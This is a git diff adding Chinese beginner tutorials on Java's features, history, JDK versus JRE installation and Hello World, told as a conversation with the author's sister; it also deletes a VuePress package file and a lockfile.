的设计和生态库具有巨大的优势。Java 剔除了 C++ 中很少使用、难以理解、易混淆的特别,比如说指针运算、操作符重载,内存管理等。 + +Java 可以做到堆栈分配、垃圾回收和自动内存管理,在一定程度上为开发者减轻了入门的难度。 + +**2)可移植性** + +如果 Java 直接编译成操作系统能识的二进制码,可能一个标识在 Windows 操作系统下是1100,而 Linux 下是 1001,这样的话,在 Windows 操作系统下可以运行的程序到了 Linux 环境下就无法运行。 + +为了解决这个问题,Java 先编译生成字节码,再由 JVM(Java 虚拟机)来解释执行,目的就是将统一的字节码转成操作系统可以识别的二进制码,然后执行。而针对不同的操作系统,都有相应版本的 JVM,所以 Java 就实现了可移植性。 + +**3)安全性** + +Java 适用于网络/分布式环境,为了达到这个目标,在安全方面投入了巨大的精力。使用 Java 可以构建防病毒、防篡改的程序。 + +从一开始,Java 就设计了很多可以防范攻击的机制,比如说: + +- 运行时堆栈溢出,这是蠕虫病毒常用的攻击手段。 +- 字节码验证,可以确保代码符合 JVM 规范并防止恶意代码破坏运行时环境。 +- 安全的类加载,可以防止不受信任的代码干扰 Java 程序的运行。 +- 全面的 API 支持广泛的加密服务,包括数字签名、消息摘要、(对称、非对称)密码、密钥生成器。 +- 安全通信,支持 HTTPS、SSL,保护传输的数据完整性和隐私性。 + +**4)并发性** + +Java 在多线程方面做得非常突出,只要操作系统支持,Java 中的线程就可以利用多个处理器,带来了更好的交互响应和实时行为。 + +“二哥,那 Java 还会继续流行下去吗?”三妹眨了眨她的长睫毛,对我说。 + +“当然。”我斩钉截铁地回答到。 + +**大数据领域:** + +与 Python 一样,Java 在大数据领域占据着主导地位,很多用于处理大规模数据的框架都是基于 Java 开发的。 + +- Apache Hadoop,用于在分布式环境中处理大规模数据集。Hadoop 采用了主副架构模式,其中主节点负责控制整个分布式计算栈。Hadoop 在需要处理和分析大规模数据的公司当中很流行。 + +- Apache Spark,大型的 ETL(数据仓库技术)、预测分析和报表程序经常使用到 Spark。 + +- Apache Mahout,用于机器学习,比如分类、聚类和推荐。 + +- JFreechart,用于可视化数据,可以用它制作各种图表,比如饼图、柱状图、线图、散点图、盒状图、直方图等等。 + +- Deeplearning4j,用于构建各种类型的神经网络,可以与 Spark 集成,运行在 GPU(图形处理器)上。 + +- Apache Storm,用于处理实时数据流,一个 Storm 节点可以在秒级处理数百万个作业。 + +**物联网(IoT)领域:** + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/three-02.png) + +Oracle 表示,灵活性和流行度是 IoT 程序员选择 Java 的主要原因。Java 提供了大量的 API 库,可以很容易应用到嵌入式应用程序中。相比其他编程语言,比如 C 语言,Java 在切换平台时更加顺畅,不容易出错。 + +**金融服务领域:** + +- 聊天机器人,由于可移植性、可维护性、可视化等诸多方面的因素,Java 成了开发聊天机器人最好的工具。 + +- 欺诈检测和管理,银行和金融公司使用 AI(人工智能)工具来进行金融欺诈和信用卡欺诈检测,而 Java 常用来开发这些 AI 工具。 + +- 交易系统,Java 虚拟机提供的动态运行时编译优化在很多情况下比编译型语言(如 C++)具有更好的性能,让交易系统运行得更顺畅。 + +- 移动钱包,基于 AI 和 Java 算法开发的移动钱包,可以帮助用户在花钱时做出更智能的决策。 + +**Web 领域:** + +Java 技术对 Web 领域的发展注入了强大的动力,主流的 Java Web 开发框架有很多: + +- Spring 框架,一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架,渗透了 Java EE 技术的方方面面,绝大部分 Java 应用都可以从 Spring 框架中受益。 + +- Spring MVC 框架,是一种基于 Java 实现的 MVC(Model-View-Controller)设计模式的请求驱动类型的轻量级 Web 框架。 + +- MyBatis 框架,一个优秀的数据持久层框架,可在实体类和 SQL 语句之间建立映射关系,是一种半自动化的 ORM(Object Relational Mapping,对象关系映射)实现。 + +- JavaServer Faces 框架,由 Oracle 开发,能够将表示层与应用程序代码轻松连接,它提供了一个 API 集,用于表示和管理 UI 组件。 + +总之,Oracle 宣称,Java 正运行在 97% 的企业计算机上——有点厉害的样子。 \ No newline at end of file diff --git a/docs/overview/java-history.md b/docs/overview/java-history.md new file mode 100644 index 0000000000..d629f349f3 --- /dev/null +++ b/docs/overview/java-history.md @@ -0,0 +1,69 @@ + + +20 世纪 90 年代,单片式计算机系统诞生。单片式计算机系统不仅廉价(之前的计算机非常庞大,并且昂贵),而且功能强大,可以大幅度提升消费性电子产品的智能化程度。 + +Sun 公司为了抢占市场先机,在 1991 年成立了一个由詹姆斯·高斯林(James Gosling)领导的,名为“Green”的项目组,目的是开发一种能够在各种消费性电子产品上运行的程序架构。 + +项目组首先考虑的是采用 C++ 来编写程序,但 C++ 过于复杂和庞大,再加上消费电子产品所采用的嵌入式处理器芯片的种类繁杂,需要让编写的程序能够跨平台运行并不容易——C++ 在跨平台方面做得并不好。 + +思前想后,项目组最后决定:在 C++ 的基础上创建一种新的编程语言,既能够剔除 C++ 复杂的指针和内存管理,还能够兼容各种设备。这语言最初的名字叫做 **Greentalk**,文件扩展名为 `.gt`。这个名字叫的比较随意,就因为项目组叫 Green,没什么特殊的寓意。 + +**Oak** 是“Java”的第二个名字,这次就有点意义了。Oak(橡树)是力量的象征,被美国、法国、德国等许多欧美国家选为国树。橡树长下面这样。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/two-01.png) + +1992 年,Oak 的雏形有了,但项目组在向硬件生产商进行商演的时候,并没有获得认可,于是 Oak 就被搁置一旁了。 + +1994 年,项目组发现 Java 更适合进行 Internet 编程。随后,项目组用 Oak 语言研发了一种能将小程序嵌入到网页中执行的技术——Applet。Applet 不仅能嵌入网页,还能够随同网页在网络上进行传输。 + +不得不感慨一下,技术的更新迭代是真的快,Applet 拯救了 Oak,并使其蜕变成顶天立地的 Java,但很早之前就被无情地拍死在了沙滩上。是不是很残酷? + +1995 年,Oak 被重新命名为“Java”,因为 Oak 被别的公司注册过了。新的名字最好能够表达出技术的本质:dynamic(动态的)、revolutionary(革命性的)、Silk(像丝绸一样柔软的)、Cool(炫酷的)等等。另外,名字一定要容易拼写,念起来也比较有趣。 + +选来选去,项目组最后选择了“Java”,中文叫“爪哇”。细心的小伙伴可能会发现,Java 这个单词里有一个敏感词,所以有段时间微信(文章专辑名这块)为了禁敏感词,竟然把 Java 都禁了,我当时就只能用爪哇来代替 Java,手动狗头。 + +“Java”是印度尼西亚爪哇岛的英文名,因生产咖啡而闻名,所以,小伙伴也看到了,Java 这个单词经常和一杯冒着热气的咖啡一起出现。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/two-02.png) + +同年,Sun 公司在 SunWorld 大会上正式发布了 Java 1.0 版本,第一次提出了“Write Once, Run anywhere”的口号。《时代》杂志将 Java 评为 1995 年十大最佳产品之一。 + +1996 年 1 月 23 日,JDK 1.0 发布,Java 语言有了第一个正式版本的运行环境。JDK 1.0 是一个纯解释执行的 Java 虚拟机,代表技术有:Java 虚拟机、AWT(图形化界面)、Applet。 + +4 月,十个主要的操作系统和计算机供应商宣称将在产品中嵌入 Java 技术。9 月,已有大约 8.3 万网页应用采用了 Java 来制作。5 月底,第一届 JavaOne 大会在旧金山举行,从此,JavaOne 成为全世界数百万 Java 语言开发者的技术盛会。 + + 1997 年 2 月 19 日,JDK 1.1 发布,代表技术有:JAR 文件格式、JDBC、JavaBeans、RMI(远程方法调用)。 + +1998 年 12 月 4 日,JDK 1.2 发布,这是一个里程碑式的版本。Sun 在这个版本中把 Java 拆分为三个方向:面向桌面开发的 J2SE、面向企业开发的 J2EE,面向移动开发的 J2ME。代表技术有:EJB、Swing。 + +2000 年 5 月 8 日,JDK 1.3 发布,对 Java 2D 做了大幅修改。 + +2002 年 2 月 13 日,JDK 1.4 发布,这是 Java 真正走向成熟的一个版本,IBM、富士通等著名公司都有参与。代表技术有:正则表达式、NIO。 + +2004 年 9 月 30 日,JDK 5 发布,注意 Sun 把“1.x”的命名方式抛弃了。JDK 5 在 Java 语法的易用性上做出了非常大的改进,比如说:自动装箱、泛型、动态注解、枚举、可变参数、foreach 循环。 + +2006 年 12 月 11 日,JDK 6 发布,J2SE 变成了 Java SE 6,J2EE 变成了 Java EE 6,J2ME 变成了 Java ME 6。JDK 6 恐怕是 Java 历史上使用寿命最长的一个版本了。主要的原因有:代码复杂性的增加、世界经济危机、Oracle 对 Sun 的收购。 + +JDK 6 的最后一个升级补丁为 Java SE 6 Update 211, 于 2018 年 10 月 18 日发布——12 年的跨度啊! + +2009 年 2 月 19 日,JDK 7 发布,但功能是阉割。很多翘首以盼的功能都没有完成,比如说 Lambda 表达式。主要是因为 Sun 公司在商业上陷入了泥沼,已经无力推动 JDK 7 的研发工作。 + +2009 年 4 月 20 日,Oracle 以 74 亿美元的价格收购了市值曾超过 2000 亿美元的 Sun 公司——太阳终究还是落山了。对于 Java 语言这个孩子来说,可以说是好事,也可以说是坏事。好事是 Oracle 有钱,能够注入资金推动 Java 的发展;坏处就是 Oracle 是后爸,对 Java 肯定没有 Sun 那么亲,走的是极具商业化的道路。 + + 2014 年 3 月 18 日,JDK 8 终于来了,步伐是那么蹒跚,但终究还是来了。带着最强有力的武器——Lambda 表达式而来。虽然 JDK 15 已经发布了,但“新版任你发,我用 Java 8”的梗至今还流传着。 + +2017 年 9 月 21 日,JDK 9 发布。从此以后,JDK 更新版本的速度令开发者应接不暇,半年一个版本,虽然 Oracle 的目的是好的,为了避免因功能增加而引发的跳票风险,但不得不承认,版本更新的节奏实在是有点过于频繁。 + +这就导致一个问题,好不容易更新一个版本,用了六个月后,Oracle 不维护了。针对这个问题,Oracle 给出的解决方案挺奇葩的,每六个 JDK 大版本才会被长期支持(Long Term Support,LTS)。 + +JDK 8 是 LTS 版,2018 年 9 月 25 日发布的 JDK 11 是 LTS 版, 2018 年 3 月 20 日发布的 JDK 10 就可以一笔带过了。按照这个节奏算下去的话,下一个 LTS 版就是 2021 年发布的 JDK 17 了。 + +JDK 12、JDK 13、JDK 14、JDK 15、JDK 16 都是过渡产品,就好像是试验品一样,不太受开发者待见。 + +Java 发展到今天已经 20 多年了,作为一个编程语言确实不简单,Java 代表的面向对象思想确实给工程领域带来了革命性的变化,关键是 Java 一直在拥抱变化。 + +大数据方面,有 Apache Kafka、Apache Samza、Apache Storm、Apache Spark、Apache Flink,除了 Spark 是基于 JVM 的函数语言 Scala 编写的,其余都是 Java 编写的。 + +Java 在云时代面临着以 Go 语言为主的容器(Docker 等技术)生态圈的挑战,但是,Java 的大型分布式系统越来越多,Java 在云计算与分布式系统中还是扮演着主要角色,并且形成了一个大型的生态圈。 + +虽然 Java 和 C++,C 一样,都“老”了,被其他语言不断地挑战,但只有强者才有机会接受挑战,对吧?我相信,Java 的未来依然很光明。 \ No newline at end of file diff --git a/docs/overview/jdk-jre.md b/docs/overview/jdk-jre.md new file mode 100644 index 0000000000..14af8818ab --- /dev/null +++ b/docs/overview/jdk-jre.md @@ -0,0 +1,110 @@ + + +“二哥,之前的文章里提到 JDK 与 JRE,说实在的,这两个概念把我搞得晕乎乎的,你能再给我普及一下吗?”三妹咪了一口麦香可可奶茶后对我说。 + +“三妹,不要担心,二哥这篇文章一定会让你把它们搞得一清二楚。确实有不少初学的小伙伴对这两个概念很困惑,我当年也困惑了很久。”说完最后这句话,我脸上忍不住泛起了一阵羞涩的红晕。 + +### 01、JDK + +JDK 是 Java Development Kit 的首字母缩写,是提供给 Java 程序员的开发工具包,换句话说,没有 JDK,Java 程序员就无法使用 Java 语言编写 Java 程序。也就是说,JDK 是用于开发 Java 程序的最小环境。 + +想要成为一名 Java 程序员,首先就需要在电脑上安装 JDK。当然了,新版的 Intellij IDEA(公认最好用的集成开发环境)已经支持直接下载 JDK 了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/six-01.png) + +并且支持下载不同版本的 JDK,除了 Oracle 的 OpenJDK,还有社区维护版 AdoptOpenJDK,里面包含了目前使用范围最广的 HotSpot 虚拟机。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/six-02.png) + +如果下载比较慢的话,可以直接在 AdoptOpenJDK 官网上下载。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/six-03.png) + +如果还是比较慢的话,通过 Oracle 官网下载吧! + +>https://www.oracle.com/java/technologies/javase-jdk11-downloads.html + + +JDK 安装成功后,就可以编写 Java 代码了,小伙伴们可以参照上一篇文章《[Hello World](https://mp.weixin.qq.com/s/GYDFndO0Q1Nqzcc_Te61gw)》。 + +JDK 包含了 JRE,同时还包含了编译 Java 源码的编译器 javac,以及其他的一些重要工具: + +- keytool:用于操作 keystore 密钥; +- javap:class 类文件的最基础的反编译器; +- jstack:用于打印 Java 线程栈踪迹的工具; +- jconsole:用于监视 Java 程序的工具; +- jhat:用于 Java 堆分析的工具 +- jar:用于打包 Java 程序的工具; +- javadoc:用于生成 Java 文档的工具; + +### 02、JRE + +JRE 是 Java Runtime Environment 的首字母缩写,是提供给 Java 程序运行的最小环境,换句话说,没有 JRE,Java 程序就无法运行。 + +Java 程序运行的正式环境一般会选择 Linux 服务器,因为更安全、更高效、更稳定。我们只需要在 Linux 服务器上安装 JRE 就可以运行 Java 程序,而不必安装 JDK,因为我们不需要在服务器上编译和调试 Java 源代码。 + +刚好我有一台闲置的阿里云服务器,这里就给小伙伴们演示一下 JRE 的安装过程。 + +第一步:使用以下命令列出服务器上可以安装的 Java 环境: + +>yum list java* + +可以看到有这么一些(只列出 Java 11 的部分——最近一个 LTS 版本): + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/six-04.png) + +其中 JRE 为 java-11-openjdk.x86_64,JDK 为 java-11-openjdk-devel.x86_64。 + +第二步,使用以下命令安装 JRE: + +>yum install java-11-openjdk.x86_64 + +第三步,使用以下命令测试是否安装成功: + +>java -version + +如果出现以下结果,则表明安装成功: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/six-05.png) + +由于 JRE 中不包含 javac,所以 `javac -version` 的结果如下所示: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/six-06.png) + +那既然服务器上的 JRE 环境已经 OK 了,那我们就把之前的“Hello World”程序打成 jar 上传过去,让它跑起来。 + +第一步,Maven clean(对项目清理): + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/six-07.png) + +第二步,Maven package(对项目打包): + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/six-08.png) + +可以在 Run 面板中看到以下信息: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/six-09.png) + +说明项目打包成功了。 + +第三步,使用 FileZilla 工具将 jar 包上传到服务器指定目录。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/six-10.png) + +第四步,使用 iTerm2 工具连接服务器。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/six-11.png) + +第五步,执行以下命令: + +>java -cp TechSister-1.0-SNAPSHOT.jar com.itwanger.five.HelloWorld + +可以看到以下结果: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/six-12.png) + +“搞定了,三妹,今天我们就学到这吧。”转动了一下僵硬的脖子后,我对三妹说,“开发环境需要安装 JDK,因为既需要编写源代码,还需要打包和测试;生产环境只需要安装 JRE,因为只需要运行编译打包好的 jar 包即可。” + +“好的,二哥,能把你的服务器账号密码给我一下吗,我想上去测试一把。”三妹似乎对未来充满了希望,这正是我想看到的。 + +“没问题,随便倒腾。” \ No newline at end of file diff --git a/docs/overview/what-is-java.md b/docs/overview/what-is-java.md new file mode 100644 index 0000000000..3d8bd4ae75 --- /dev/null +++ b/docs/overview/what-is-java.md @@ -0,0 +1,77 @@ + + +“二哥,到底什么是 Java?给我说说呗。” + +“三妹啊,这就直奔主题了啊,先去给哥买包烟吧,哥先考验考验你的诚心。” + +(五分钟过后) + +“三妹啊,你怎么还不去?” + +“二哥,掏钱啊。” + +(真实亲妹子啊,买包烟还得我掏钱,关键是还得给跑腿费。十分钟后,三妹从楼下小卖部买了一包熊猫回来了,我用 Zippo 火机点了一支——这火机是 21 岁生日的时候初恋女友送我的,质量确实不错,现在还在用。) + +“三妹啊,听我慢慢来给你解释。” + +Java 是一门计算机编程语言,高级、健壮、面向对象,并且非常安全。它由 Sun 公司在 1995 年开发,主力开发叫 James Gosling,被称为 Java 之父,就是下图这位,头秃的厉害。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/one-01.png) + +“三妹啊,你要不要再考虑考虑?做程序员不容易啊” + +“二哥,你咋没有秃呢?是因为你不够厉害吗?” + +(这孩子,嘴咋这么损呢?) + + +Java 在叫“Java”之前,其实叫 Oak(橡树的意思,我感觉好像比 Java 好听一些)。怎么想到呢?James Gosling 坐在办公室,望向窗外,视野里出现了一颗橡树。不过,遗憾的是,Oak 已经被 另外一家公司注册了,因此 1995 年 5 月 23 日,Oak 语言改名为 Java。 + +Java 起初并不是 James Gosling 的首选,也不是命名团队的首选。团队其他人员更青睐 Silk(丝绸),但 Gosling 不喜欢,他本人喜欢的是 Lyric(抒情诗),但没通过律师这一关。最后,排在第四位的“Java”脱颖而出。是不是像极了婴儿没生下来之前,家人就着急着起名的那种感觉。 + +James Gosling 回忆说,“Java”是一个叫 Mark Opperman 的人提议的,他是在一家咖啡店得到灵感的,“Java”是印度尼西亚爪哇岛的英文名,因生产咖啡而闻名。 + +使用十六进制编辑器打开由 Java 源代码编译出的二进制文件(.class 文件),就可以看得到,最前面的 8 个字符是 CA FE BA BE(定义文件类型的魔数),即词组“CAFE BABE”(咖啡屋宝贝)。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/one-02.png) + +“二哥,能给我展示一段 Java 代码吗?我想感受一下。” + +“三妹啊,马上就来。” + +(我噼里啪啦一阵在键盘上一阵狂按) + +```java +public class HelloWorld { + public static void main(String[] args) { + System.out.println("Hello World"); + } +} +``` + +“二哥,这都什么跟什么啊,看得一头雾水。” + +“三妹啊,先不要着急,Hello World 这段代码以后再慢慢消化,现在就是让它来给你打个招呼。” + +“好吧。” + +“二哥,学 Java 到底有没有前途啊?我毕业以后能不能找到工作啊?” + +“三妹啊,就目前来说,Java 不仅仅是一门编程语言,它还是一个由一系列计算机软件和规范组成的技术体系,这个技术体系提供了完整的用于软件开发和跨平台部署的支持环境,并广泛应用于以下这些场合。” + +1)桌面应用程序; +2)Web 应用程序; +3)企业应用程序,体现了 Java 的安全性、负载均衡和集群的优势; +4)移动端应用程序,主要就是安卓; +5)嵌入式系统; +6)机器人技术; +7)游戏。 + +时至今日,Java 技术体系已经吸引了 600 多万软件开发者,是全球最大的软件开发团队。Java 能够获得如此广泛的认可,除了它是一门结构严谨、面向对象的编程语言之外,还有很多其他不可忽视的优点: + +- 摆脱了硬件平台的束缚,实现了“一次编写,处处运行”的理念; +- 内存管理相对安全,避免了绝大部分内存泄露和指针越界的问题; +- 实现了热点代码检测和运行时编译,使得 Java 应用能随着运行时间的增长而获得更高的性能; +- 有一套完善的应用程序接口,还有无数来自商业机构和开源社区的第三方类库。 + +这一切的一切,都让软件开发的效率大大的提高。所以,学习 Java 还是很有“钱”“秃”的。 \ No newline at end of file diff --git a/docs/package.json b/docs/package.json deleted file mode 100644 index c257223343..0000000000 --- a/docs/package.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "name": "javabetter", - "description": "jinjiezhilu", - "version": "2.0.0", - "license": "MIT", - "type": "module", - "scripts": { - "docs:build": "vuepress-vite build src", - "docs:clean-dev": "vuepress-vite dev src --clean-cache", - "docs:dev": "vuepress-vite dev src", - "docs:update-package": "pnpm dlx vp-update" - }, - "devDependencies": { - "@vuepress/bundler-vite": "2.0.0-rc.14", - "@vuepress/plugin-docsearch": "2.0.0-rc.40", - "@vuepress/plugin-pwa": "2.0.0-rc.40", - "mathjax-full": "^3.2.2", - "vue": "^3.4.31", - "vuepress": "2.0.0-rc.14", - "vuepress-theme-hope": "2.0.0-rc.52" - } -} diff --git a/docs/pnpm-lock.yaml b/docs/pnpm-lock.yaml deleted file mode 100644 index c2a9da6608..0000000000 --- a/docs/pnpm-lock.yaml +++ /dev/null @@ -1,6745 +0,0 @@ -lockfileVersion: '9.0' - -settings: - autoInstallPeers: true - excludeLinksFromLockfile: false - -importers: - - .: - devDependencies: - '@vuepress/bundler-vite': - specifier: 2.0.0-rc.14 - version: 2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3) - '@vuepress/plugin-docsearch': - specifier: 2.0.0-rc.40 - version: 2.0.0-rc.40(@algolia/client-search@4.24.0)(search-insights@2.15.0)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-pwa': - specifier: 2.0.0-rc.40 - version: 2.0.0-rc.40(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - mathjax-full: - specifier: ^3.2.2 - version: 3.2.2 - vue: - specifier: ^3.4.31 - version: 3.4.34 - vuepress: - specifier: 2.0.0-rc.14 - version: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - vuepress-theme-hope: - specifier: 2.0.0-rc.52 - version: 2.0.0-rc.52(@vuepress/plugin-docsearch@2.0.0-rc.40(@algolia/client-search@4.24.0)(search-insights@2.15.0)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)))(@vuepress/plugin-pwa@2.0.0-rc.40(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)))(markdown-it@14.1.0)(mathjax-full@3.2.2)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - -packages: - - '@algolia/autocomplete-core@1.9.3': - resolution: {integrity: sha512-009HdfugtGCdC4JdXUbVJClA0q0zh24yyePn+KUGk3rP7j8FEe/m5Yo/z65gn6nP/cM39PxpzqKrL7A6fP6PPw==} - - '@algolia/autocomplete-plugin-algolia-insights@1.9.3': - resolution: {integrity: sha512-a/yTUkcO/Vyy+JffmAnTWbr4/90cLzw+CC3bRbhnULr/EM0fGNvM13oQQ14f2moLMcVDyAx/leczLlAOovhSZg==} - peerDependencies: - search-insights: '>= 1 < 3' - - '@algolia/autocomplete-preset-algolia@1.9.3': - resolution: {integrity: sha512-d4qlt6YmrLMYy95n5TB52wtNDr6EgAIPH81dvvvW8UmuWRgxEtY0NJiPwl/h95JtG2vmRM804M0DSwMCNZlzRA==} - peerDependencies: - '@algolia/client-search': '>= 4.9.1 < 6' - algoliasearch: '>= 4.9.1 < 6' - - '@algolia/autocomplete-shared@1.9.3': - resolution: {integrity: sha512-Wnm9E4Ye6Rl6sTTqjoymD+l8DjSTHsHboVRYrKgEt8Q7UHm9nYbqhN/i0fhUYA3OAEH7WA8x3jfpnmJm3rKvaQ==} - peerDependencies: - '@algolia/client-search': '>= 4.9.1 < 6' - algoliasearch: '>= 4.9.1 < 6' - - '@algolia/cache-browser-local-storage@4.24.0': - resolution: {integrity: sha512-t63W9BnoXVrGy9iYHBgObNXqYXM3tYXCjDSHeNwnsc324r4o5UiVKUiAB4THQ5z9U5hTj6qUvwg/Ez43ZD85ww==} - - '@algolia/cache-common@4.24.0': - resolution: {integrity: sha512-emi+v+DmVLpMGhp0V9q9h5CdkURsNmFC+cOS6uK9ndeJm9J4TiqSvPYVu+THUP8P/S08rxf5x2P+p3CfID0Y4g==} - - '@algolia/cache-in-memory@4.24.0': - resolution: {integrity: sha512-gDrt2so19jW26jY3/MkFg5mEypFIPbPoXsQGQWAi6TrCPsNOSEYepBMPlucqWigsmEy/prp5ug2jy/N3PVG/8w==} - - '@algolia/client-account@4.24.0': - resolution: {integrity: sha512-adcvyJ3KjPZFDybxlqnf+5KgxJtBjwTPTeyG2aOyoJvx0Y8dUQAEOEVOJ/GBxX0WWNbmaSrhDURMhc+QeevDsA==} - - '@algolia/client-analytics@4.24.0': - resolution: {integrity: sha512-y8jOZt1OjwWU4N2qr8G4AxXAzaa8DBvyHTWlHzX/7Me1LX8OayfgHexqrsL4vSBcoMmVw2XnVW9MhL+Y2ZDJXg==} - - '@algolia/client-common@4.24.0': - resolution: {integrity: sha512-bc2ROsNL6w6rqpl5jj/UywlIYC21TwSSoFHKl01lYirGMW+9Eek6r02Tocg4gZ8HAw3iBvu6XQiM3BEbmEMoiA==} - - '@algolia/client-personalization@4.24.0': - resolution: {integrity: sha512-l5FRFm/yngztweU0HdUzz1rC4yoWCFo3IF+dVIVTfEPg906eZg5BOd1k0K6rZx5JzyyoP4LdmOikfkfGsKVE9w==} - - '@algolia/client-search@4.24.0': - resolution: {integrity: sha512-uRW6EpNapmLAD0mW47OXqTP8eiIx5F6qN9/x/7HHO6owL3N1IXqydGwW5nhDFBrV+ldouro2W1VX3XlcUXEFCA==} - - '@algolia/logger-common@4.24.0': - resolution: {integrity: sha512-LLUNjkahj9KtKYrQhFKCzMx0BY3RnNP4FEtO+sBybCjJ73E8jNdaKJ/Dd8A/VA4imVHP5tADZ8pn5B8Ga/wTMA==} - - '@algolia/logger-console@4.24.0': - resolution: {integrity: sha512-X4C8IoHgHfiUROfoRCV+lzSy+LHMgkoEEU1BbKcsfnV0i0S20zyy0NLww9dwVHUWNfPPxdMU+/wKmLGYf96yTg==} - - '@algolia/recommend@4.24.0': - resolution: {integrity: sha512-P9kcgerfVBpfYHDfVZDvvdJv0lEoCvzNlOy2nykyt5bK8TyieYyiD0lguIJdRZZYGre03WIAFf14pgE+V+IBlw==} - - '@algolia/requester-browser-xhr@4.24.0': - resolution: {integrity: sha512-Z2NxZMb6+nVXSjF13YpjYTdvV3032YTBSGm2vnYvYPA6mMxzM3v5rsCiSspndn9rzIW4Qp1lPHBvuoKJV6jnAA==} - - '@algolia/requester-common@4.24.0': - resolution: {integrity: sha512-k3CXJ2OVnvgE3HMwcojpvY6d9kgKMPRxs/kVohrwF5WMr2fnqojnycZkxPoEg+bXm8fi5BBfFmOqgYztRtHsQA==} - - '@algolia/requester-node-http@4.24.0': - resolution: {integrity: sha512-JF18yTjNOVYvU/L3UosRcvbPMGT9B+/GQWNWnenIImglzNVGpyzChkXLnrSf6uxwVNO6ESGu6oN8MqcGQcjQJw==} - - '@algolia/transporter@4.24.0': - resolution: {integrity: sha512-86nI7w6NzWxd1Zp9q3413dRshDqAzSbsQjhcDhPIatEFiZrL1/TjnHL8S7jVKFePlIMzDsZWXAXwXzcok9c5oA==} - - '@ampproject/remapping@2.3.0': - resolution: {integrity: sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==} - engines: {node: '>=6.0.0'} - - '@apideck/better-ajv-errors@0.3.6': - resolution: {integrity: sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==} - engines: {node: '>=10'} - peerDependencies: - ajv: '>=8' - - '@babel/code-frame@7.24.7': - resolution: {integrity: sha512-BcYH1CVJBO9tvyIZ2jVeXgSIMvGZ2FDRvDdOIVQyuklNKSsx+eppDEBq/g47Ayw+RqNFE+URvOShmf+f/qwAlA==} - engines: {node: '>=6.9.0'} - - '@babel/compat-data@7.24.9': - resolution: {integrity: sha512-e701mcfApCJqMMueQI0Fb68Amflj83+dvAvHawoBpAz+GDjCIyGHzNwnefjsWJ3xiYAqqiQFoWbspGYBdb2/ng==} - engines: {node: '>=6.9.0'} - - '@babel/core@7.24.9': - resolution: {integrity: sha512-5e3FI4Q3M3Pbr21+5xJwCv6ZT6KmGkI0vw3Tozy5ODAQFTIWe37iT8Cr7Ice2Ntb+M3iSKCEWMB1MBgKrW3whg==} - engines: {node: '>=6.9.0'} - - '@babel/generator@7.24.10': - resolution: {integrity: sha512-o9HBZL1G2129luEUlG1hB4N/nlYNWHnpwlND9eOMclRqqu1YDy2sSYVCFUZwl8I1Gxh+QSRrP2vD7EpUmFVXxg==} - engines: {node: '>=6.9.0'} - - '@babel/helper-annotate-as-pure@7.24.7': - resolution: {integrity: sha512-BaDeOonYvhdKw+JoMVkAixAAJzG2jVPIwWoKBPdYuY9b452e2rPuI9QPYh3KpofZ3pW2akOmwZLOiOsHMiqRAg==} - engines: {node: '>=6.9.0'} - - '@babel/helper-builder-binary-assignment-operator-visitor@7.24.7': - resolution: {integrity: sha512-xZeCVVdwb4MsDBkkyZ64tReWYrLRHlMN72vP7Bdm3OUOuyFZExhsHUUnuWnm2/XOlAJzR0LfPpB56WXZn0X/lA==} - engines: {node: '>=6.9.0'} - - '@babel/helper-compilation-targets@7.24.8': - resolution: {integrity: sha512-oU+UoqCHdp+nWVDkpldqIQL/i/bvAv53tRqLG/s+cOXxe66zOYLU7ar/Xs3LdmBihrUMEUhwu6dMZwbNOYDwvw==} - engines: {node: '>=6.9.0'} - - '@babel/helper-create-class-features-plugin@7.24.8': - resolution: {integrity: 